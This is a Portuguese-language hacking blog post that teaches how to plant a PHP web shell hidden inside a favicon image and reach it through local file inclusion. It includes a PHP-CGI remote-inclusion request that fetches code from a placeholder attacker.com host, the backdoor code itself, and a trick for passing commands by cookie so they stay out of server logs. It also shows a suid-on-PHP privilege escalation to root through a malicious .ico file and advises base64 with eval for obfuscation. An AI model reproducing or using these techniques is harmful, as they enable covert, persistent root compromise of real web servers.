quinta-feira, 23 de agosto de 2012

Backdoor PHP Favicon/Imagens - Web Shell Root

Bom pessoal, vou iniciar este post esclarecendo algumas coisas:

A alguns dias foi levantada uma discussão sobre LFI´s e RFI por causa da falha do PHP CGI.
Resumindo, ao se fazer um RFI nesta falha pouco importa qual seja a extensão do arquivo incluído, podendo ser .txt, .gif, .jpg, .ico ou té mesmo .php, desde que, o servidor onde o arquivo .php esteja hospedado não faça interpretação.

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.txt

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.gif

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.php

Como mencionei, no 3 exemplo o servidor attacker não pode ter/fazer interpretação de arquivos .php
Mais pra baixo vou explicar porque o extensão não faz diferença.

Vamos ao que interessa:

A ideia aqui é implantar um backdoor acessá-lo através de LFI de uma forma não muito usual.
Para isto vamos usar o Favicon, ele foi escolhido pois fiz vários testes com figuras e muitas apresentaram problemas de execução do código devido ao caracteres utilizados a formação da imagem, já a Favicon é bem simples e possui poucos caracteres, diminuindo assim a possibilidade de problemas de execução.

Criei um favicon neste site, bem simples, apenas escrito DC com letras azuis.
   


Vamos dar uma olhada nele no editor hexa:




























No Chrome ele é exibido no canto esquerdo superior  da aba:








No IE ele fica na barra de endereços:










Acesso direto:













Agora vamos altera-lo e acrescentar a seguinte linha:
<?php system($_GET['cmd']; ?> Que efetivamente vai ser nosso backdoor.
Você pode trocar a função system pela sua de preferencia.











Ao fazer o request novamente, ele continua a ser visualizado sem problemas, mesmo depois do código PHP ter sido acrescentado. Até ai tudo ok!




















Agora fazemos o include do arquivo e passamos os comandos:
http://srvlfi.dc/lfi.php?inc=favicon.ico&cmd=id












Depois disso tudo, vamos entender o porque isso acontece:

A função include (e similares) do PHP, ignoram complemente a extensão do arquivo e joga todo seu conteúdo para dentro do .php base, neste caso o lfi.php, então, oque interessa é somente o conteúdo do arquivo. O PHP por sua vez ao encontrar um novo <?php, executa o código até encontrar ?>, ou seja, o final das instruções PHP para aquele bloco de código.

O problema de usar esta técnica é o lixo exibido na tela, justamente pelo comportamento das funções de include, que jogam o conteúdo do arquivo até achar os marcadores do PHP.


Outro ponto importante seria utilizar cookies para passar os comandos para o PHP, assim, seria evitado que os comandos fossem enviados por GET ou POST e poluindo ainda mais o Log do servidor.







Log sem cookie:  [23/Aug/2012:08:59:38 -0300] "GET /lfi.php?lfi=oi2.gif&cmd=uname%20-a HTTP/1.1" 200 384 "-" "Mozilla/5.0

Log utilizando comando por cookie:  [23/Aug/2012:09:01:13 -0300] "GET /lfi.php?lfi=oi.gif HTTP/1.1" 200 384 "-" "Mozilla/5.0

O código para esta implementação é bem simples:

setcookie("cmd_cookie", "id");
system($_COOKIE["cmd_cookie"]);

Basta alterar o valor do cookie com sua ferramentas preferida.

Fazendo uma pesquisa rápida junto com o Psylon, encontramos este Post, que fala sobre adicionar código php em imagem, porém, é necessário adicionar informação no htaccess. Esta linha irá fazer com que o interpretador do php entende que arquivos .jpg também sejam interpretados.

root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess

Agora partindo so suposto que que isso tudo que fizemos é um pós exploitation e que o pesquisador acima fez alterações em arquivos foi feito o seguinte:

Setado um suid no binário do php

chmod 4755 /usr/bin/php5 (o endereço pode/vai variar de acordo o sabor do linux)

root@srvlfi:/var/www# ls -al /usr/bin/php5
-rwsr-xr-x 1 root root 7463060 2012-02-11 05:07 /usr/bin/php5

Criado um icone com nome de suid.ico com o seguinte código(claro, no final do arquivo depois do código do próprio ícone):

<?php
posix_seteuid(0);
passthru($argv[1]);
?>


Neste caso foi utilizada a variável $argv[1] para receber o valor, pois mesmo com suid no binário do php não possível elevar o privilégio utilizado a posix_seteuid, devido a arquitetura e proteções empregadas(nem sempre foi assim), então, para contornar, a ideia foi fazer a própria backdoor executar o binário suid do php passando o caminho do ícone maligno jutamente com comando a ser executado como root. Como podem ver na abaixo, logo $argv[1] tem o valor id;uname -a
 
 http://srvlfi.dc/oi.php?cmd=/usr/bin/php5%20/var/www/suid.ico%20%22id;uname%20-a%22

Obs: Para comandos com argumentos por exemplo uname -a, é necessário utilizar aspas duplas, para indicar que o comando é apenas um, caso contrário, o php irá entender que "-a" é o terceiro argumento do array - $argv[2]

E sim, TERCEIRO argumento, caso tenha dúvida consulte o link de $argv[1].









Outra dica é: Caso o código do seu backdoor esteja ficando grande, use as funções de enconding base64 e a função eval do php.


Espero ter contribuído.

Thanks to: @l0c4lh05t  - @gmlnet
Me: @crashbrz



Nenhum comentário:

Postar um comentário